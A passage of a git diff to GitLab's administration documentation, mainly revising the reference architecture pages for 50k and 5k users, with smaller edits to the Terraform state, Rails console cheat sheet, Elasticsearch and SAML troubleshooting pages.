+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 606701a4d83..183a998e89a 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -17,23 +17,23 @@ full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |-----------------------------------------|-------------|-------------------------|-----------------|--------------|----------| -| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 3 | 64 vCPU, 240 GB memory | n1-standard-64 | m5.16xlarge | D64s v3 | -| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | -| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | `m5.8xlarge` | D32s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Gitaly | 3 | 64 vCPU, 240 GB memory | n1-standard-64 | `m5.16xlarge` | D64s v3 | +| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 | +| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```plantuml @startuml 50k @@ -142,7 +142,7 @@ To set up GitLab and its components to accommodate up to 50,000 users: 1. [Configure the external load balancer](#configure-the-external-load-balancer) to handle the load balancing of the GitLab application services nodes. 1. [Configure the internal load balancer](#configure-the-internal-load-balancer). - to handle the loa + to handle the load 1. [Configure Consul](#configure-consul). 1. [Configure PostgreSQL](#configure-postgresql), the database for GitLab. 1. [Configure PgBouncer](#configure-pgbouncer). @@ -219,11 +219,12 @@ The following list includes descriptions of each server and its assigned IP: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -396,6 +397,8 @@ backend praefect ``` Refer to your preferred Load Balancer's documentation for further guidance. +Also ensure that the routing methods used are distributing calls evenly across +all nodes. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -442,7 +445,7 @@ To configure Consul: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -566,7 +569,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -862,7 +865,7 @@ a node and change its status from primary to replica (and vice versa). node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -929,7 +932,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Prevent database migrations from running on upgrade + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1061,7 +1064,7 @@ To configure the Sentinel Cache server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1126,13 +1129,8 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - ``` - -1. Only the primary GitLab application server should handle migrations. To - prevent database migrations from running on upgrade, add the following - configuration to your `/etc/gitlab/gitlab.rb` file: - ```ruby + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1193,7 +1191,7 @@ You can specify multiple roles, like sentinel and Redis, as: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1325,7 +1323,7 @@ To configure the Sentinel Queues server: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -1410,6 +1408,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. postgresql['listen_address'] = '0.0.0.0' postgresql['max_connections'] = 200 + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1517,7 +1516,7 @@ Praefect requires several secret tokens to secure communications across the Clus Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains the details of each Gitaly node that makes up the cluster. Each storage is also given a name -and this name is used in several areas of the config. In this guide, the name of the storage will be +and this name is used in several areas of the configuration. In this guide, the name of the storage will be `default`. Also, this guide is geared towards new installs, if upgrading an existing environment to use Gitaly Cluster, you may need to use a different name. Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info. @@ -1555,7 +1554,8 @@ To configure the Praefect nodes, on each one: praefect['enable'] = true praefect['listen_addr'] = '0.0.0.0:2305' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically + praefect['auto_migrate'] = false gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1679,8 +1679,7 @@ On each node: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -1914,6 +1913,7 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ####################################### @@ -2033,6 +2033,7 @@ On each node perform the following: gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ## Redis connection details @@ -2228,7 +2229,6 @@ To configure the Monitoring node: external_url 'http://gitlab.example.com' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -2262,6 +2262,9 @@ To configure the Monitoring node: consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2356,10 +2359,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index 0a236eac243..70d02bba855 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -24,20 +24,20 @@ costly-to-operate environment by using the | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-------------------------|----------------|-------------|----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Gitaly | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 | -| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | c5.4xlarge | F16s v2 | -| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Gitaly | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | `m5.2xlarge` | D8s v3 | +| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | `c5.4xlarge` | F16s v2 | +| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```plantuml @startuml 5k @@ -205,11 +205,12 @@ The following list includes descriptions of each server and its assigned IP: ## Configure the external load balancer -In an active/active GitLab configuration, you'll need a load balancer to route +In a multi-node GitLab configuration, you'll need a load balancer to route traffic to the application servers. The specifics on which load balancer to use -or its exact configuration is beyond the scope of GitLab documentation. We hope +or its exact configuration is beyond the scope of GitLab documentation. We assume that if you're managing multi-node systems like GitLab, you already have a load -balancer of choice. Some load balancer examples include HAProxy (open-source), +balancer of choice and that the routing methods used are distributing calls evenly +between all nodes. Some load balancer examples include HAProxy (open-source), F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and protocols needed for use with GitLab. @@ -382,6 +383,8 @@ backend praefect ``` Refer to your preferred Load Balancer's documentation for further guidance. +Also ensure that the routing methods used are distributing calls evenly across +all nodes. <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> @@ -487,7 +490,7 @@ a node and change its status from primary to replica (and vice versa). 'redis.password' => 'redis-password-goes-here', } - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -570,7 +573,7 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s 'redis.password' => 'redis-password-goes-here', } - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -699,7 +702,7 @@ To configure the Sentinel: node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' - # Disable auto migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` @@ -824,7 +827,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 - # Disable automatic database migrations + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1087,6 +1090,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. postgresql['listen_address'] = '0.0.0.0' postgresql['max_connections'] = 200 + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1194,7 +1198,7 @@ Praefect requires several secret tokens to secure communications across the Clus Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains the details of each Gitaly node that makes up the cluster. Each storage is also given a name -and this name is used in several areas of the config. In this guide, the name of the storage will be +and this name is used in several areas of the configuration. In this guide, the name of the storage will be `default`. Also, this guide is geared towards new installs, if upgrading an existing environment to use Gitaly Cluster, you may need to use a different name. Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info. @@ -1232,7 +1236,8 @@ To configure the Praefect nodes, on each one: praefect['enable'] = true praefect['listen_addr'] = '0.0.0.0:2305' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically + praefect['auto_migrate'] = false gitlab_rails['auto_migrate'] = false # Configure the Consul agent @@ -1356,8 +1361,7 @@ On each node: alertmanager['enable'] = false prometheus['enable'] = false - # Prevent database connections during 'gitlab-ctl reconfigure' - gitlab_rails['rake_cache_clear'] = false + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false # Configure the gitlab-shell API callback URL. Without this, `git push` will @@ -1523,7 +1527,6 @@ To configure the Sidekiq nodes, one each one: nginx['enable'] = false grafana['enable'] = false prometheus['enable'] = false - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_workhorse['enable'] = false @@ -1574,6 +1577,7 @@ To configure the Sidekiq nodes, one each one: gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ####################################### @@ -1709,6 +1713,7 @@ On each node perform the following: gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' + # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ## Redis connection details @@ -1874,7 +1879,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and external_url 'http://gitlab.example.com' # Disable all other services - gitlab_rails['auto_migrate'] = false alertmanager['enable'] = false gitaly['enable'] = false gitlab_exporter['enable'] = false @@ -1908,6 +1912,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } + + # Prevent database migrations from running on upgrade automatically + gitlab_rails['auto_migrate'] = false ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -2017,10 +2024,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag See how to [configure NFS](../nfs.md). WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md) -as soon as possible. +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). <div align="right"> <a type="button" class="btn btn-default" href="#setup-components"> diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index d5d4f8ac0cb..6698737af6a 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -12,7 +12,7 @@ This page details the recommended Reference Architectures that were built and verified by the GitLab Quality and Support teams. Below is a chart representing each architecture tier and the number of users -they can handle. As your number of users grow with time, it’s recommended that +they can handle. As your number of users grow with time, it's recommended that you scale GitLab accordingly.  diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md index e342ef8c04b..cea2144122b 100644 --- a/doc/administration/repository_storage_paths.md +++ b/doc/administration/repository_storage_paths.md @@ -156,5 +156,5 @@ often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = ch ## Move repositories -To move a repository to a different repository path, use -the same process as [migrating existing repositories to Gitaly Cluster](gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster). +To move a repository to a different repository path, use the same process as +[migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster). diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md index 69b3ae5282f..f4cc98ca145 100644 --- a/doc/administration/restart_gitlab.md +++ b/doc/administration/restart_gitlab.md @@ -4,18 +4,11 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# How to restart GitLab +# How to restart GitLab **(FREE SELF)** Depending on how you installed GitLab, there are different methods to restart its service(s). -If you want the TL;DR versions, jump to: - -- [Omnibus GitLab restart](#omnibus-gitlab-restart) -- [Omnibus GitLab reconfigure](#omnibus-gitlab-reconfigure) -- [Source installation restart](#installations-from-source) -- [Helm chart installation restart](#helm-chart-installations) - ## Omnibus installations If you have used the [Omnibus packages](https://about.gitlab.com/install/) to install GitLab, then diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md index 0f3fdf4bb93..0c01279b04c 100644 --- a/doc/administration/terraform_state.md +++ b/doc/administration/terraform_state.md @@ -97,6 +97,39 @@ The following settings are: | `remote_directory` | The bucket name where Terraform state files are stored | | | `connection` | Various connection options described below | | +### Migrate to object storage + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247042) in GitLab 13.9. + +To migrate Terraform state files to object storage, follow the instructions below. + +- For Omnibus package installations: + + ```shell + gitlab-rake gitlab:terraform_states:migrate + ``` + +- For source installations: + + ```shell + sudo -u git -H bundle exec rake gitlab:terraform_states:migrate RAILS_ENV=production + ``` + +For GitLab 13.8 and earlier versions, you can use a workaround for the Rake task: + +1. Open the GitLab [Rails console](operations/rails_console.md). +1. Run the following commands: + + ```ruby + Terraform::StateUploader.alias_method(:upload, :model) + + Terraform::StateVersion.where(file_store: ::ObjectStorage::Store::LOCAL). find_each(batch_size: 10) do |terraform_state_version| + puts "Migrating: #{terraform_state_version.inspect}" + + terraform_state_version.file.migrate!(::ObjectStorage::Store::REMOTE) + end + ``` + ### S3-compatible connection settings See [the available connection settings for different providers](object_storage.md#connection-settings). diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md index 606697b5247..11425d464b9 100644 --- a/doc/administration/troubleshooting/elasticsearch.md +++ b/doc/administration/troubleshooting/elasticsearch.md @@ -203,7 +203,7 @@ To do this: ```rails u = User.find_by_email('email_of_user_doing_search') s = SearchService.new(u, {:search => 'search_term'}) - pp s.search_objects.class.name + pp s.search_objects.class ``` The output from the last command is the key here. If it shows: @@ -217,7 +217,9 @@ The output from the last command is the key here. If it shows: If all the settings look correct and it is still not using Elasticsearch for the search function, it is best to escalate to GitLab support. This could be a bug/issue. -Moving past that, it is best to attempt the same search using the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html) and compare the results from what you see in GitLab. +Moving past that, it is best to attempt the same [search via the Rails console](../../integration/elasticsearch.md#i-indexed-all-the-repositories-but-i-cant-get-any-hits-for-my-search-term-in-the-ui) +or the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html), +and compare the results from what you see in GitLab. If the results: diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 69eb639a8db..6b1cf2d1194 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -215,8 +215,8 @@ project = Project.find_by_full_path('group-changeme/project-changeme') ### Destroy a project ```ruby -project = Project.find_by_full_path('') -user = User.find_by_username('') +project = Project.find_by_full_path('<project_path>') +user = User.find_by_username('<username>') ProjectDestroyWorker.perform_async(project.id, user.id, {}) # or ProjectDestroyWorker.new.perform(project.id, user.id, {}) # or Projects::DestroyService.new(project, user).execute @@ -225,8 +225,8 @@ ProjectDestroyWorker.perform_async(project.id, user.id, {}) ### Remove fork relationship manually ```ruby -p = Project.find_by_full_path('') -u = User.find_by_username('') +p = Project.find_by_full_path('<project_path>') +u = User.find_by_username('<username>') ::Projects::UnlinkForkService.new(p, u).execute ``` @@ -243,13 +243,13 @@ project.update!(repository_read_only: true) ### Transfer project from one namespace to another ```ruby - p= Project.find_by_full_path('') + p= Project.find_by_full_path('<project_path>') # To set the owner of the project current_user= p.creator # Namespace where you want this to be moved. -namespace = Namespace.find_by_full_path("") +namespace = Namespace.find_by_full_path("<new_namespace>") ::Projects::TransferService.new(p, current_user).execute(namespace) ``` @@ -468,7 +468,7 @@ end ### Skip reconfirmation ```ruby -user = User.find_by_username '' +user = User.find_by_username '<username>' user.skip_reconfirmation! ``` @@ -558,7 +558,7 @@ user.max_member_access_for_group group.id ```ruby user = User.find_by_username('<username>') group = Group.find_by_name("<group_name>") -parent_group = Group.find_by(id: "") # empty string amounts to root as parent +parent_group = Group.find_by(id: "<group_id>") service = ::Groups::TransferService.new(group, user) service.execute(parent_group) ``` @@ -679,7 +679,7 @@ conflicting_permanent_redirects.destroy_all ```ruby p = Project.find_by_full_path('<full/path/to/project>') m = p.merge_requests.find_by(iid: <iid>) -u = User.find_by_username('') +u = User.find_by_username('<username>') MergeRequests::PostMergeService.new(p, u).execute(m) ``` @@ -695,9 +695,9 @@ Issuable::DestroyService.new(m.project, u).execute(m) ### Rebase manually ```ruby -p = Project.find_by_full_path('') +p = Project.find_by_full_path('<project_path>') m = project.merge_requests.find_by(iid: ) -u = User.find_by_username('') +u = User.find_by_username('<username>') MergeRequests::RebaseService.new(m.target_project, u).execute(m) ``` @@ -734,7 +734,7 @@ build.dependencies.each do |d| { puts "status: #{d.status}, finished at: #{d.fin ### Try CI service ```ruby -p = Project.find_by_full_path('') +p = Project.find_by_full_path('<project_path>') m = project.merge_requests.find_by(iid: ) m.project.try(:ci_service) ``` @@ -762,6 +762,21 @@ end Gitlab::CurrentSettings.current_application_settings.runners_registration_token ``` +### Run pipeline schedules manually + +You can run pipeline schedules manually through the Rails console to reveal any errors that are usually not visible. + +```ruby +# schedule_id can be obtained from Edit Pipeline Schedule page +schedule = Ci::PipelineSchedule.find_by(id: <schedule_id>) + +# Select the user that you want to run the schedule for +user = User.find_by_username('<username>') + +# Run the schedule +ps = Ci::CreatePipelineService.new(schedule.project, user, ref: schedule.ref).execute!(:schedule, ignore_skip_ci: true, save_on_errors: false, schedule: schedule) +``` + ## License ### See current license information diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md index f0d44a578ff..63e69589b54 100644 --- a/doc/administration/troubleshooting/group_saml_scim.md +++ b/doc/administration/troubleshooting/group_saml_scim.md @@ -7,7 +7,7 @@ type: reference # Troubleshooting Group SAML and SCIM **(PREMIUM SAAS)** -These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team’s collected knowledge. +These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team's collected knowledge. Please refer to the GitLab [Group SAML](../../user/group/saml_sso/index.md) docs for information on the feature and how to set it up. @@ -20,6 +20,7 @@ They may then set up a test configuration of the desired identity provider. We i This section includes relevant screenshots of the following example configurations of [Group SAML](../../user/group/saml_sso/index.md) and [Group SCIM](../../user/group/saml_sso/scim_setup.md): - [Azure Active Directory](#azure-active-directory) +- [Okta](#okta) - [OneLogin](#onelogin) WARNING: @@ -59,6 +60,14 @@ IdP Links and Certificate:  +Sign on settings: + + + +Self-managed instance example: + + + ## OneLogin Application details: @@ -76,23 +85,3 @@ Adding a user: SSO settings:  - -## ADFS - -Setup SAML SSO URL: - - - -Configure Assertions: - - - -Configure NameID: - - - -Determine Certificate Fingerprint: - -| Via UI | Via Shell | -|--------|-----------| -|  |  | diff --git a/doc/administration/troubleshooting/img/ADFS-configure-NameID.png b/doc/administration/troubleshooting/img/ADFS-configure-NameID.png Binary files differdeleted file mode 100644 index d45e189b3ab..00000000000 --- a/doc/administration/troubleshooting/img/ADFS-configure-NameID.png +++ /dev/null diff --git a/doc/administration/troubleshooting/img/ADFS-configure-assertions.png b/doc/administration/troubleshooting/img/ADFS-configure-assertions.png Binary files differdeleted file mode 100644 index 53c26ad0be1..00000000000 --- a/doc/administration/troubleshooting/img/ADFS-configure-assertions.png +++ /dev/null diff --git a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png b/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png Binary files differdeleted file mode 100644 index e24c994e996..00000000000 --- a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-certificate-fingerprint.png +++ /dev/null diff --git 